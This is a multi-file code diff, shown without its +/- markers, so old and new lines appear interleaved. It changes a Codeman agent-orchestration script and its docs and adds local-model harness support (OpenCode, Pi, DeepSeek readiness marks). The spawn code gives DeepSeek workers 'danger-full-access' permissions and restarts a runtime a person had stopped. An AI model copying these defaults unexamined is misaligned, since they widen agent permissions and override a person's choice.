# it is set Claude Code's advisor tool: a stronger model the worker consults before
# committing to an approach, on a recurring error and before declaring the task done.
# Other modes ignore it. A value the server refuses fails the spawn (INVALID_INPUT); an
# advisor that ranks below the worker's model is accepted but never attached by claude.
spawn_worker() {
local name="${1:?spawn_worker needs a case name}" mode="${2:-claude}" q sid cp r lm cm='' mark=''
local name="${1:?spawn_worker needs a case name}" mode="${2:-claude}" q sid cp r lm cm='' mark='' want=''
case "$mode" in local:*) want=${mode#local:}; mode=local ;; esac
if [ "$mode" = local ]; then
lm=$(_local_ready_model) || return 1
mode=$(jq -r .cli <<<"$lm")
if [ -n "$want" ]; then
# Only an agent the server lists as startable. A Codeman that lists none (older than
# 1.51) knows one agent, its `cli`: naming that one is fine, any other is not.
r=$(jq -r --arg w "$want" 'if (.agents | type) == "array" then ([.agents[] | select(.cli == $w) | .status][0] // "absent")
elif .cli == $w then "ready" else "unlisted" end' <<<"$lm")
case "$r" in
ready) ;;
unlisted) echo "this Codeman lists one coding agent for the local model, $(jq -r .cli <<<"$lm"): use plain \`local\`, or update Codeman to choose another" >&2; return 1 ;;
absent) echo "the local model cannot be run with '$want' here. Startable: $(jq -r '[.agents[] | select(.status == "ready") | .cli] | join(", ")' <<<"$lm")" >&2; return 1 ;;
*) echo "the coding agent '$want' is not startable on this Mac ($r): a person installs or sets it up in the Run a local model window. Startable now: $(jq -r '[.agents[] | select(.status == "ready") | .cli] | join(", ")' <<<"$lm")" >&2; return 1 ;;
esac
mode=$want
else
mode=$(jq -r .cli <<<"$lm")
fi
cm=$(jq -c '{endpointId, modelId}' <<<"$lm")
# Readiness is a token the agent's composer draws. The registry's composer data never
# reaches the API, so it is named per agent here. opencode: `┃`, its `workDetect.promptGlyph`.
# That field is no readiness mark in general (the registry keeps `composerReadyMark` for
# that, and declares none for opencode), but at boot only the composer draws it: measured
# on opencode 1.3.0 on Linux, fresh home, custom provider, the first `┃` came with the composer,
# and a prompt pasted with its Enter at that moment was submitted. claude takes the claude
# path below. Any other agent needs LOCAL_READY_MARK rather than a worker handed back on a guess.
[ "$mode" = opencode ] && mark='┃'
# Readiness is a token the agent's composer draws once it takes input. The server names
# the measured one per agent (`readyMark`: opencode `┃`, deepseek `❯`, claude `shift+tab`).
# For a server that sends none, the two this skill measured itself:
# - opencode `┃`: at boot only the composer draws it (1.3.0 and 1.19.5, a prompt pasted
# at the mark was submitted every time).
# - pi `extended-keys`: pi paints its composer rules in its FIRST frame and ignores Enter
# until startup has finished, so its rule is no mark (a prompt sent at it stayed
# unsent, 2 of 2). The last line of its startup is a warning that tmux's
# `extended-keys` option is off, which it is on Codeman's socket: a prompt sent once
# that word showed was submitted, 4 of 4 on pi 1.5.2. It is a side effect, not a
# contract, so a pi that stops printing it fails the spawn (the worker is deleted, never
# handed back on a guess) until LOCAL_READY_MARK names what it draws instead.
# claude takes the claude path below.
mark=$(jq -r --arg m "$mode" '[(.agents // [])[] | select(.cli == $m) | .readyMark // empty][0] // empty' <<<"$lm")
[ -n "$mark" ] || case "$mode" in opencode) mark='┃' ;; pi) mark='extended-keys' ;; esac
mark=${LOCAL_READY_MARK:-$mark}
[ "$mode" = claude ] || [ -n "$mark" ] || {
echo "the local model runs through $mode, and this skill knows no composer mark for it: set LOCAL_READY_MARK to a space-free token its composer draws" >&2
@@ -246,11 +301,16 @@ spawn_worker() {
# server clamps this back to `workspace-write` for an owner without the grant.
# Spawn by hand (§5.1) when you want a worker that asks. The advisor is a cloud model,
# so a claude worker on the local model never gets one.
# pi on the local model: a custom model session gives pi a home of its own, so it would
# ask "Trust project folder?" in EVERY session whose parent folders hold agent skills, with
# Trust preselected, and the task prompt's Enter would answer it. `approveProjectTrust:
# false` starts it with --no-approve: no dialog, and no project code is trusted for anyone.
q=$("${CURL[@]}" -X POST "$API/api/v1/quick-start" -H 'Content-Type: application/json' \
-d "$(jq -nc --arg n "$name" --arg m "$mode" --arg p "$SELF" --arg a "${CODEMAN_WORKER_ADVISOR:-}" --arg cm "$cm" \
'{caseName:$n,mode:$m,parentSessionId:$p}
+ (if $m == "deepseek" then {deepSeekConfig:{permissionMode:"danger-full-access"}} else {} end)
+ (if $m == "claude" and $a != "" and $cm == "" then {advisorModel:$a} else {} end)
+ (if $m == "pi" and $cm != "" then {piConfig:{approveProjectTrust:false}} else {} end)
+ (if $cm != "" then {customModel:($cm | fromjson)} else {} end)')")
# The answers that want a PERSON to decide come back as success with no session id.
if jq -e '(.data // .) | (.requiresContextWarning or .requiresConfirmation)' <<<"$q" >/dev/null 2>&1; then
@@ -267,11 +327,18 @@ spawn_worker() {
echo "worker $sid: this Codeman server ignored CODEMAN_WORKER_ADVISOR (no advisor support); it runs without one" >&2
fi
if [ -n "$cm" ] && [ "$mode" != claude ]; then
# No trust dialog and no hook file to vet: the agent has no hooks, which is exactly
# why sendwait refuses it (400) and sendmark drives it.
# No trust dialog and no hook file to vet. opencode and pi have no end-of-turn signal,
# which is exactly why sendwait refuses them (400) and sendmark drives them. A deepseek
# worker reports the end of a turn on the local model too, but sendmark is still the way
# to get its ANSWER: dsh 0.2.2 renamed its transcript file, and until Codeman reads the
# new one `last-response` comes back empty for it.
r=$(_mark_up "$sid" "$mark" 45000)
[ "$r" = true ] || { echo "local worker $sid ($mode) never drew '$mark' within 45 s; deleted it. Look at GET /api/v1/local-model and the pane of a hand-made session before retrying" >&2
delete_session "$sid" >/dev/null; return 1; }
if [ "$mode" = deepseek ] && _dsh_guide "$sid"; then
echo "dsh worker $sid opened DeepSeek Harness's setup guide instead of a composer; deleted it. A person finishes that guide once (start a DeepSeek session from the Run menu), then spawn again" >&2
delete_session "$sid" >/dev/null; return 1
fi
printf '%s\n' "$sid"; return 0
fi
if [ "$mode" = deepseek ]; then
@@ -287,6 +354,10 @@ spawn_worker() {
r=$(_dsh_up "$sid" 45000)
[ "$r" = true ] || { echo "dsh worker $sid never drew a composer: no pane-capable profile, a profile whose composer is not '${DSH_READY_MARK:-❯}' (set DSH_READY_MARK), or a harness that failed to boot -- check GET /api/v1/deepseek/status. Deleted it" >&2
delete_session "$sid" >/dev/null; return 1; }
if _dsh_guide "$sid"; then
echo "dsh worker $sid opened DeepSeek Harness's setup guide instead of a composer; deleted it. A person finishes that guide once (start a DeepSeek session from the Run menu), then spawn again" >&2
delete_session "$sid" >/dev/null; return 1
fi
printf '%s\n' "$sid"; return 0
fi
[ "$mode" = claude ] || { printf '%s\n' "$sid"; return 0; } # no other mode draws a composer to wait on
@@ -434,7 +505,7 @@ sendwait() {
# complete answer to codeman-answer-<token>.md in the working directory, and only then end
# the reply with the word DONE immediately followed by _<token>. The marker is split in what
# is typed, so the prompt echoing into the pane never matches it, and the token is new for
# every call (§5.5). The send is sendwait's exactly-once body (per-worker clientId,
# every call and every worker (§5.5). The send is sendwait's exactly-once body (per-worker clientId,
# epoch-second seq) with a one-second `exit` wait, so `delivered` says the pane took it.
# ⚠️ A marker proves that the model printed the token. Not that it did the work, not that
# it did it right, not even that the turn is over: a reasoning model can restate the
@@ -458,7 +529,12 @@ sendmark() {
p=$(printf '%s\n' "$p" | tr '\r' '\n' | sed -e 's/^[[:space:]]*//' -e 's/[[:space:]]*$//' -e '/^$/d' | paste -sd ' ' -) ;;
esac
[ -n "$p" ] || { echo "sendmark: empty prompt" >&2; return 1; }
tok=$(printf 'm%x%04x' "$(date +%s)" "$RANDOM"); mark="DONE_$tok"
# The token carries six characters of the WORKER's id on top of the second and $RANDOM.
# Those two repeat: in zsh (the shell Claude Code runs on a Mac) every subshell draws the
# SAME $RANDOM until the parent shell reads it, and this line is a subshell. Two sendmark
# calls started in one second for two workers in ONE folder shared a token, and one
# worker's answer file replaced the other's (seen on a Mac, 2026-11-12).
tok=$(printf 'm%x%04x%s' "$(date +%s)" "$RANDOM" "$(printf '%s' "$sid" | tr -cd 'a-f0-9' | cut -c1-6)"); mark="DONE_$tok"
if [ "${SENDMARK_ANSWER_FILE:-1}" != 0 ]; then
wd=$("${CURL[@]}" "$API/api/v1/sessions/$sid" | jq -r '.data.workingDir // empty' 2>/dev/null)
[ -n "$wd" ] || { echo "sendmark: could not read the working directory of worker $sid" >&2; return 1; }
@@ -545,4 +621,4 @@ last_text() {
# The stamp is the LAST line on purpose (a truncated write leaves it unset) and is kept
# bare on purpose: the write condition above anchors on it with $, so an inline comment
# here would fail that match and rewrite this file on every single bootstrap.
CODEMAN_PREAMBLE=1.50.0
CODEMAN_PREAMBLE=1.51.0
+4 -1
View File
@@ -216,7 +216,10 @@ you typed matches the moment it is typed.
generic marker (`BUILD OK`) matched against stale text, either from `from=buffer`
scanning an earlier run or from tmux replaying old screen content as fresh output on an
attach/resize/redraw. A unique-per-call token (`DONE_$RANDOM`) makes both `from` modes
safe.
safe. ⚠️ In a fan-out put something of the WORKER into it too (its id, the loop index): zsh,
the shell Claude Code runs on a Mac, hands every subshell the same `$RANDOM` until the
parent shell reads it, so `( … $RANDOM … ) &` twice draws one number. `sendmark` adds six
characters of the worker's id for that reason.
### 6. `jq` parse error instead of an `errorCode`
+1 -1
View File
@@ -21,7 +21,7 @@ by sourcing the preamble file the §0 bootstrap wrote, and checking its version
```bash
. "${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh" 2>/dev/null
[ "${CODEMAN_PREAMBLE:-}" = 1.50.0 ] || { echo "preamble missing or stale; re-run the §0 bootstrap"; exit 1; }
[ "${CODEMAN_PREAMBLE:-}" = 1.51.0 ] || { echo "preamble missing or stale; re-run the §0 bootstrap"; exit 1; }
```
Do **not** re-paste the preamble body into each call. Sourcing it is what retires the
+37 -11
View File
@@ -831,9 +831,19 @@ can be spawned now (`running: true`) or once `spawn_worker` has started the runt
```json
{"spawnable":true,"state":"installed","running":true,"cli":"opencode","cliLabel":"OpenCode",
"endpointId":"local-ollama","modelId":"qwen3.6:35b-a3b","modelLabel":"Qwen3.6 35B-A3B"}
"endpointId":"local-ollama","modelId":"qwen3.6:35b-a3b","modelLabel":"Qwen3.6 35B-A3B",
"agents":[{"cli":"opencode","cliLabel":"OpenCode","status":"ready","default":true,"readyMark":"┃"},
{"cli":"pi","cliLabel":"Pi","status":"installable","default":false}],
"models":[{"id":"qwen3.6:35b-a3b","label":"Qwen3.6 35B-A3B","active":true,"status":"ready","sizeGb":"23.1"}]}
```
`cli` is the default coding agent. `agents` is every agent the model can be run with
(`install.harnesses` of the route): `ready` can be started, `installable` and `installing`
are an install a person makes or made in the window, `setup-needed` is an agent with a setup
of its own (DeepSeek Harness without a terminal profile). `models` is what is on the Mac
(`install.library`); only the `active` one runs. A Codeman older than 1.51 sends neither
list, and both keys are then absent.
Exit 1 carries `reason` and `message` (the server's own sentence where it has one):
| `reason` | What it means | What to tell the user |
@@ -841,6 +851,7 @@ Exit 1 carries `reason` and `message` (the server's own sentence where it has on
| `not-mac` | the server is not on macOS | local models need a Mac with Apple silicon |
| `not-installed` | nothing installed; on a Mac where no model fits, `message` says why | install one with **Run a local model** on the welcome screen |
| `install-unfinished` | a job is installing, paused or failed (`state`, `step`, `errorCode`) | finish it in that window; nothing here continues it |
| `no-agent` | installed, and `agents` holds none that is `ready` | install a coding agent in that window (a chip that says "Not installed") |
| `blocked` | installed, but the server refuses a session now (`errorCode`: `model-changed`, `port-in-use`, `runtime-start-failed`, `runtime-stopped`) | the window shows the one button that helps |
| `admin-only` | multi-user mode, and you are not an admin (403) | ask an admin |
| `unsupported` | the server has no local model routes (404) | it predates the feature |
@@ -849,29 +860,44 @@ Exit 1 carries `reason` and `message` (the server's own sentence where it has on
It never downloads, installs or starts anything. Installing is many gigabytes the person
confirms in the window, and no route this skill calls can do it.
**`spawn_worker <name> local`** (also `name:local` in `spawn_workers`), in order:
**`spawn_worker <name> local`** (also `name:local` in `spawn_workers`), and
**`spawn_worker <name> local:<cli>`** to choose the coding agent, in order:
1. `local_model`; anything but exit 0 fails the spawn with that reason.
1. `local_model`; anything but exit 0 fails the spawn with that reason. With `local:<cli>`
the agent must be a row of `agents` whose status is `ready`; any other status, or an
agent the model cannot be run with, fails the spawn with the ones that are startable.
On a Codeman that lists no agents only its one `cli` can be named. No agent is ever
installed from here.
2. Runtime stopped: `POST /api/v1/local-model/runtime {"action":"start"}`, what the
window's Start button sends, then `local_model` again until it reports `running`
(about 30 s at most). This undoes a Stop the person made. Concurrent spawns may both
send it; the server runs one runtime verb at a time and keeps a runtime that runs.
3. `POST /api/v1/quick-start {"caseName":…,"mode":"<cli>","parentSessionId":…,
"customModel":{"endpointId":…,"modelId":…}}`: the launch of the window's "Start a
session", with the installed agent as the mode. No advisor, which is a cloud model.
session", with the chosen agent as the mode. No advisor, which is a cloud model. A Pi
worker also carries `"piConfig":{"approveProjectTrust":false}` (`--no-approve`): on a
custom model Pi keeps no home, so it would ask to trust the folder in every session with
Trust preselected, and the task prompt's Enter would answer it.
The server checks again that its own runtime runs and that the model on disk is the one
it installed, and refuses otherwise (`OPERATION_FAILED`, with the reason).
4. An answer of `requiresContextWarning` or `requiresConfirmation` is a question for a
person (a context below the agent's safe floor, a model swap that would evict another
session's model). It fails the spawn with the answer on stderr and nothing on stdout,
and no `confirmed*` flag is ever sent.
5. Readiness: OpenCode's composer bar `┃` (its registry `promptGlyph`) through
`wait-output`, 45 s, and the session deleted on a miss. Measured on OpenCode 1.3.0 on
Linux (not yet on a Mac) with a fresh home and a custom provider: nothing draws `┃` before the composer, there was no
first-run screen, and a prompt pasted with its Enter at the first `┃` was submitted. A
claude agent takes the claude path instead (hooks vetted, `shift+tab`, the trust
dialog). Any other agent needs `LOCAL_READY_MARK` set to a space-free token its
composer draws, or the spawn is refused before a session exists.
5. Readiness: a token the agent's composer draws once it takes input, through
`wait-output`, 45 s, and the session deleted on a miss. The token is the agent's
`readyMark` from `local_model` when the server sends one, else the one measured for this
skill, and `LOCAL_READY_MARK` overrides both. All of it was measured on Linux through a
custom model launch, none of it on a Mac yet:
| Agent | Token | What was measured |
|-------|-------|-------------------|
| OpenCode | `┃` | 1.3.0 and 1.19.5: nothing draws it before the composer, no first-run screen, and a prompt pasted at the first `┃` was submitted (2 of 2 on 1.19.5) |
| DeepSeek Harness | `❯`, then a look at the pane | 0.1.1-rc.2 with dsh-TUI 0.10.0-beta.1: splash, composer and status line arrive in one frame; a prompt sent at the mark was submitted (2 of 2). The harness reports idle about 150 ms BEFORE that frame, so `stop` is no readiness signal. 0.2.2-rc.1 with dsh-TUI 0.19.0: a setup guide ("Step 1 of 4") opens in every session until a person has finished it once, and its cursor is `❯` too (the mark matched on it, 2 of 2), so after the mark the rendered pane is read and a worker that shows the guide is deleted, never handed back; with the guide finished, a prompt sent at the mark was submitted |
| Pi | `extended-keys` | 1.5.2: Pi paints its composer rules in its first frame and ignores Enter until startup has finished, so the rule `─` is NOT a mark (a prompt sent at it stayed in the composer, 2 of 2). The last line of its startup is a warning that tmux's `extended-keys` option is off, which it is on Codeman's socket; a prompt sent once that word showed was submitted (4 of 4). A side effect, not a contract: a Pi that stops printing it fails the spawn until `LOCAL_READY_MARK` names what it draws instead |
A claude agent takes the claude path instead (hooks vetted, `shift+tab`, the trust
dialog). An agent with no token at all is refused before a session exists.
**`sendmark <sid> <prompt> [timeoutSec]`** drives it, and any other agent worker without
an end-of-turn signal ([§5.5](#55-markers-for-hook-less-workers)):
+54 -12
View File
@@ -13,10 +13,11 @@
* computed from that model's architecture. test/local-model-catalog.test.ts recomputes every
* computed figure from a table of architectures and refuses a row that is not in it, so a
* new row needs its model's config.json read, not a figure borrowed from a neighbour.
* - A harness is a ROW (`{ cli, minContext, rank, gated?, slowFirstTurn? }`). The `cli` is a CLI
* registry id as data: no code may compare it with a literal. Whether that CLI exists and can
* take a custom model is checked against the registry at call time, in
* src/local-model/harness-facts.ts, never here.
* - A harness is a ROW (`{ cli, minContext, rank, gated?, slowFirstTurn?, readyMark? }`). The
* `cli` is a CLI registry id as data: no code may compare it with a literal. Whether that CLI
* exists, can take a custom model and can be installed from here is checked against the
* registry at call time, in src/local-model/harness-facts.ts, never here. HARNESSES below
* says what was measured for each row, and where.
* - The schema checks more than fields. Across rows it requires: unique model ids and ranks,
* unique harness `cli`s and ranks, `contexts` largest first, a `tested` entry naming a harness
* row, and `chips` most specific first.
@@ -56,14 +57,50 @@
* | | | faster than the run without it |
* | `tested` | our own run of the model with a harness on a real Mac | one entry, with its measured speed |
* | `minMacosMajor` | the runtime's documentation (macOS 14) | yes, by the facts review |
* | harness `minContext` | 65536: the runtime's documentation for OpenCode ("64k or | 65536 yes. 32768 no, which is why |
* | | higher"), and OpenCode v1.19.5's own fixed prompt (about | that row is gated |
* | | 8,000 to 10,000 tokens) and compaction rule: at 32768 it | |
* | harness `minContext` | 65536: the runtime's documentation for OpenCode ("64k or | 65536 yes. Nothing was run below it, |
* | | higher"), and OpenCode v1.19.5's own fixed prompt (about | and no model row offers less, so |
* | | 8,000 to 10,000 tokens) and compaction rule: at 32768 it | every row says 65536 (HARNESSES) |
* | | leaves 14,000 to 16,000 tokens, less than one default | |
* | | 2,000-line file read | |
* | `chips` | the bandwidth column of | yes, read at the source for this |
* | | https://github.com/ggml-org/llama.cpp/discussions/4167 | file |
*
* HARNESSES. What each harness row rests on. The runs of 2026-11-10 were made on Linux through
* Codeman's own custom model launch, against a real model (Ollama 0.13.0, a 1.7B model on a CPU)
* where it says REAL, and against a scripted endpoint that replays that runtime's stream of a
* tool call where it says SCRIPTED. A scripted run proves the harness's side of the protocol,
* never what a model does with its prompt. None of them ran on a Mac or on the pinned runtime.
*
* | Harness | First request (fixed prompt) | Tool round trip | `readyMark` |
* |------------|-----------------------------------|----------------------------------------|--------------------------------------|
* | `opencode` | 8,115 tokens, 11 tools (v1.19.5; | SCRIPTED (v1.19.5). REAL in our own | `┃`: the first painted frame holds |
* | | more with user-level skills) | run on a Mac, see the `tested` entry | the composer; a prompt sent at the |
* | | | | mark was submitted, 2 of 2 launches |
* | `claude` | about 36,000 tokens, which is | not run again for this table (the row | none here: the CLI registry's |
* | | `slowFirstTurn` | shipped in 1.50.0) | `composerReadyMark` stands |
* | `pi` | 2,096 tokens, 4 tools (v1.5.2, | REAL (v1.5.2): tool call, tool result, | none: its composer rules are painted |
* | | the runtime's own count) | final answer, the file on disk | before it takes Enter (2 of 2 |
* | | | | prompts sent at the rule stayed |
* | | | | unsent), and it draws nothing that |
* | | | | is a contract once it does |
* | `deepseek` | about 7,650 tokens, 25 tools | SCRIPTED only, on both versions | none here: the CLI registry's `❯` |
* | | (0.1.1-rc.2); 6,983 tokens, 27 | (0.1.1-rc.2 with dsh-TUI 0.10.0-beta.1 | stands; a prompt sent at it was |
* | | tools (0.2.2-rc.1) | and 0.2.2-rc.1 with dsh-TUI 0.19.0). | submitted, 2 of 2 launches. On |
* | | | REAL: the launch and the model name | dsh-TUI 0.19.0 a setup guide draws |
* | | | reached the runtime, no turn finished | `❯` too until it was finished once |
*
* Every one of them sent the `name:tag` model id unchanged. `pi` was gated until 2026-11-10 for
* two open questions, both answered by its run: the id (above), and the window, which Codeman
* now passes to it (src/custom-model-injection.ts; without it pi takes an unknown model for a
* 128,000-token one). `deepseek` is a LAUNCHER: its install command leaves it with nothing to
* launch, so src/local-model/harness-facts.ts never reports it installable and a Mac is offered
* it only where it was already set up. It is offered on a scripted run and one unfinished real
* one: gate the row again (`gated: true`) should a run on a Mac not finish a turn. Two things
* about dsh-TUI 0.19.0 that a client of its `readyMark` must know: until a person has finished
* its setup guide once, every session opens on that guide and the guide's cursor is the mark
* (the codeman skill reads the pane after the mark for that reason), and its transcript file
* was renamed, so Codeman's `last-response` is empty for it for now.
*
* MEMORY. The need is `bytes + heldBytesPerToken x context + overheadBytes + peakExtraBytes`
* (src/local-model/recommend.ts). The two runners spend memory differently, so a row's three
* figures are filled by the rule of its runner:
@@ -222,6 +259,8 @@ const LocalHarnessEntrySchema = z
rank: z.number().int(),
gated: z.boolean().optional(),
slowFirstTurn: z.boolean().optional(),
// One literal a script waits for: no white space, so the terminal's own spacing cannot split it.
readyMark: z.string().min(1).max(64).regex(/^\S+$/).optional(),
})
.strict();
@@ -528,13 +567,16 @@ export const STOCK_LOCAL_MODEL_CATALOG: LocalModelCatalog = {
tested: [],
},
],
// The higher rank wins when a model can run with more than one harness.
// The higher rank wins when a model can run with more than one harness. What each row rests
// on is the HARNESSES table of the file header.
harnesses: [
{ cli: 'opencode', minContext: 65536, rank: 3 },
{ cli: 'opencode', minContext: 65536, rank: 4, readyMark: '┃' },
// Sends a fixed prompt of about 36,000 tokens, so the first answer takes minutes.
{ cli: 'claude', minContext: 65536, rank: 2, slowFirstTurn: true },
// Gated: neither its 32768 minimum nor its handling of a `name:tag` model id is verified.
{ cli: 'pi', minContext: 32768, rank: 1, gated: true },
{ cli: 'claude', minContext: 65536, rank: 3, slowFirstTurn: true },
// The smallest first request of the four (2,096 tokens). No `readyMark`: see HARNESSES.
{ cli: 'pi', minContext: 65536, rank: 2 },
// A launcher: offered only where it is already set up, never installed from here.
{ cli: 'deepseek', minContext: 65536, rank: 1 },
],
// Memory bandwidth in GB/s, most specific first. Only chips that shipped and are in the source
// table are listed. Where one name covers two bandwidths (M3 Max 300 or 400, M4 Max 410 or 546,
+22 -14
View File
@@ -194,6 +194,21 @@ function opencodeModelLimit(contextLength: number | undefined): { context: numbe
return { context: total, output };
}
/**
* The two fields pi's model list and the dsh provider patch (which is built on pi's model
* layer) take for a model's window: `contextWindow`, the FULL window, and `maxTokens`, the
* reply's share of it (a quarter, capped at 8192 on a large window). Empty for an unknown or
* non-finite size: the CLI then keeps its own default, and no limit is invented here.
*/
function modelWindowFields(contextLength: number | undefined): { contextWindow?: number; maxTokens?: number } {
if (contextLength === undefined || !Number.isFinite(contextLength) || contextLength <= 0) return {};
return {
contextWindow: Math.trunc(contextLength),
// A quarter of the window keeps the reply inside the prompt's share; 8192 caps it on a large window.
maxTokens: Math.max(1, Math.min(8192, Math.floor(contextLength / 4))),
};
}
function renderConfigContent(
template: 'opencode-json',
endpoint: CustomModelEndpoint,
@@ -260,19 +275,7 @@ function renderConfigFile(
apiKeyEnv: CUSTOM_MODEL_API_KEY_ENV_VAR,
api: 'openai-completions',
baseURL: baseUrl,
models: [
{
id: modelId,
name: modelId,
...(contextLength !== undefined && Number.isFinite(contextLength) && contextLength > 0
? {
contextWindow: Math.trunc(contextLength),
// A quarter of the window keeps the reply inside the prompt's share; 8192 caps it on a large window.
maxTokens: Math.max(1, Math.min(8192, Math.floor(contextLength / 4))),
}
: {}),
},
],
models: [{ id: modelId, name: modelId, ...modelWindowFields(contextLength) }],
},
},
},
@@ -327,6 +330,11 @@ function renderConfigFile(
// true` is required too: pi does not automatically send `Authorization: Bearer
// <apiKey>` just because `apiKey` is set (per the same doc) — without it, a real
// (non-llama.cpp) endpoint that actually checks the key would reject every request.
// The model entry carries the endpoint's context window when it is known. Without it pi
// takes an unknown model for a 128,000-token one (its footer reads `/128k`) and asks for
// 16,384 reply tokens, so on a 65,536 or 32,768 window it never compacts before the
// server's real window is full. Measured on pi 1.5.2: with both fields `pi --list-models`
// shows the window and the request carries `max_tokens: 8192`.
return {
content: JSON.stringify(
{
@@ -336,7 +344,7 @@ function renderConfigFile(
apiKey,
api: 'openai-completions',
authHeader: true,
models: [{ id: modelId }],
models: [{ id: modelId, ...modelWindowFields(contextLength) }],
},
},
},
+13 -5
View File
@@ -9,14 +9,18 @@
* mechanism (`capabilities.customModelInjection.kind` is `unsupported`);
* - reports `label` from the registry entry and `installed` from the same probe the page
* render and `GET /api/clis` use (`utils/cli-installed-probes.ts`), asked once per build;
* - reports `installable` only for a STOCK CLI that is not installed and whose install
* command for this platform needs no administrator rights (`installCommandNeedsAdmin()`),
* and then carries that command as `installCommand`, so the consent screen can print the
* - reports `installable` only for a STOCK CLI that is not installed, whose install command
* for this platform needs no administrator rights (`installCommandNeedsAdmin()`) and which
* is not a launcher (`discovery.launcherProfile`: its install command leaves it with nothing
* to launch, and what it launches is third-party code with a consent of its own in the Run
* menu), and then carries that command as `installCommand`, so the consent screen can print the
* literal text. The command is the COMPILED stock one (`stockInstallCommand()`), never the
* one a `clis.json` override supplies: it is exactly what the install job would run, and
* an override file must not be able to change that;
* - supplies `acceptsModelId` (`cliAcceptsCustomModelId()`), the test a custom model launch
* applies to the model id before anything is written.
* applies to the model id before anything is written;
* - passes on the registry's `capabilities.composerReadyMark` as `readyMark` when it holds no
* white space (a script waits for it as one literal).
*
* Rules:
* - No CLI id is compared with a literal here or anywhere: the id comes from the catalogue
@@ -156,19 +160,23 @@ export async function buildHarnessFacts(
}
let installCommand: string | undefined;
if (!installed && entry.stock) {
// A launcher (`discovery.launcherProfile`) is not startable after its install command: it
// still needs something to launch, which that command does not install.
if (!installed && entry.stock && entry.discovery.launcherProfile === undefined) {
const command = resolved.installCommandFor(entry);
if (command !== undefined && command.trim() !== '' && !installCommandNeedsAdmin(command)) {
installCommand = command;
}
}
const registryMark = entry.capabilities.composerReadyMark;
facts.push({
cli: row.cli,
label: entry.label,
installed,
installable: installCommand !== undefined,
...(installCommand !== undefined ? { installCommand } : {}),
...(registryMark !== undefined && !/\s/.test(registryMark) ? { readyMark: registryMark } : {}),
acceptsModelId: (modelId: string) => cliAcceptsCustomModelId(entry, modelId),
});
}
+280 -29
View File
@@ -33,7 +33,7 @@
* | `installed` | the runtime, the private home, the model | stays `installed`; the | refused (409) | start a session, start or stop |
* | | in use and every other model of the | runtime is started again | | the runtime, install (add a |
* | | library | when it was not stopped | | model), use, delete a model, |
* | | | | | remove |
* | | | | | install a coding agent, remove |
*
* The step table. Every step is IDEMPOTENT, so Resume and "Try again" re-enter the step the
* job stopped in; they first make sure the runtime runs when the step needs it.
@@ -96,6 +96,16 @@
* server's own total.
* - No CLI id is compared with a literal here: the coding agent is a catalogue row plus a
* `HarnessFact`.
* - The coding agent is chosen PER SESSION. The state file's `cli` is the agent of the job
* and, once installed, the default one; the view's `harnesses` lists every catalogue harness
* the model in use can be run with (`buildHarnessRows()`). The launch check
* (`launchRefusalMessage()`) asks about the endpoint and the model, never about the agent.
* - Installing one more coding agent beside an installed model (`installAgent()`,
* `POST /api/local-model/agent`) is NOT a job and not an event of the reducer: the state
* stays `installed` whatever the installer does, so a failed `npm install` never blocks a
* session on a model that works. It runs in the background through the same install slot
* and the same stock command as the `agent` step, one at a time, and what it leaves behind
* is in memory only (`LocalModelHarnessRow.status` `installing`, or its `error`).
*
* The service (`createLocalModelService()`), beyond the reducer:
* - Verbs run one at a time on one queue, so two installs sent together cannot both find the
@@ -161,6 +171,7 @@ import {
type HardwareFacts,
type HarnessFact,
type LocalModelAction,
type LocalModelAgentRequest,
type LocalModelCatalog,
type LocalModelConflict,
type LocalModelDeleteRequest,
@@ -172,6 +183,8 @@ import {
type LocalModelInstallState,
type LocalModelInstallStep,
type LocalModelInstallView,
type LocalModelHarnessRow,
type LocalModelHarnessStatus,
type LocalModelLibraryAction,
type LocalModelLibraryEntry,
type LocalModelLibraryRow,
@@ -261,8 +274,9 @@ export interface InstallStateRow {
* Every action a client may take in this state. The view's `actions` is this list narrowed
* by what is live (`allowedActions()`): `start` only while the runtime is down, `stop` and
* `start-session` only while it runs, `start-session` only when nothing blocks a session,
* `use` and `delete-model` only while a row of the library offers them, and in `idle`
* `remove` only while the model store still holds something.
* `use` and `delete-model` only while a row of the library offers them, `install-agent` only
* while a row of `harnesses` offers it, and in `idle` `remove` only while the model store
* still holds something.
*/
actions: readonly LocalModelAction[];
}
@@ -312,7 +326,7 @@ export const INSTALL_STATE_TABLE: Readonly<Record<LocalModelInstallState, Instal
'Stays installed. The runtime is started again unless the person had stopped it, and the digest is read again: a changed digest or a port taken by another program shows as an error on the view and blocks a session, the state stays installed.',
afterCancel: null,
cancel: 'Refused: no job is running.',
actions: ['start-session', 'start', 'stop', 'install', 'use', 'delete-model', 'remove'],
actions: ['start-session', 'start', 'stop', 'install', 'use', 'delete-model', 'install-agent', 'remove'],
},
};
@@ -695,6 +709,13 @@ export interface InstallLiveFacts {
storeBytes?: number;
/** The catalogue's label per model id, for a model the runtime lists and the state file does not know. */
labels?: Readonly<Record<string, string>>;
/**
* The coding agents of the model in use (`buildHarnessRows()`), without their
* `start-session` action: the view adds it once it knows whether a session can be started.
* Absent while nothing is installed, and when the catalogue or the CLI registry could not be
* read: the view then lists none.
*/
harnesses?: readonly LocalModelHarnessRow[];
}
/** An error code with its sentence, its slots and its one next step. Pure. */
@@ -819,6 +840,91 @@ export function buildLibraryRows(state: LocalModelStateFile, live: InstallLiveFa
return rows;
}
/** What the service remembers of installs of a coding agent beside an installed model. In memory only. */
export interface AgentInstallMemory {
/** The CLI id of the agent whose installer runs right now. */
running?: string;
/** The agents whose last install failed, by CLI id, with the end of what the installer printed. */
failed?: Readonly<Record<string, { detail?: string }>>;
}
/**
* The coding agents the model in use can be run with: every catalogue harness that is not
* gated, has a fact, works at the model's context and accepts its name. The default agent
* first, then the higher catalogue rank. The default is the agent of the installation
* (`state.cli`) while it can be started, else the first one that can, so a client that names
* no agent never starts one that is gone. Rows carry no `start-session` action yet: whether a
* session can be started at all is the view's knowledge (`buildInstallView()`). Empty unless
* the state is `installed`. Pure, and it compares no CLI id with a literal.
*/
export function buildHarnessRows(
state: LocalModelStateFile,
catalog: Pick<LocalModelCatalog, 'harnesses'>,
facts: readonly HarnessFact[],
memory: AgentInstallMemory = {}
): LocalModelHarnessRow[] {
if (state.state !== 'installed' || !state.model) return [];
const model = state.model;
const ranked: Array<{ rank: number; row: LocalModelHarnessRow }> = [];
for (const entry of catalog.harnesses) {
if (entry.gated) continue;
const fact = facts.find((candidate) => candidate.cli === entry.cli);
if (!fact || model.context < entry.minContext) continue;
let accepts = false;
try {
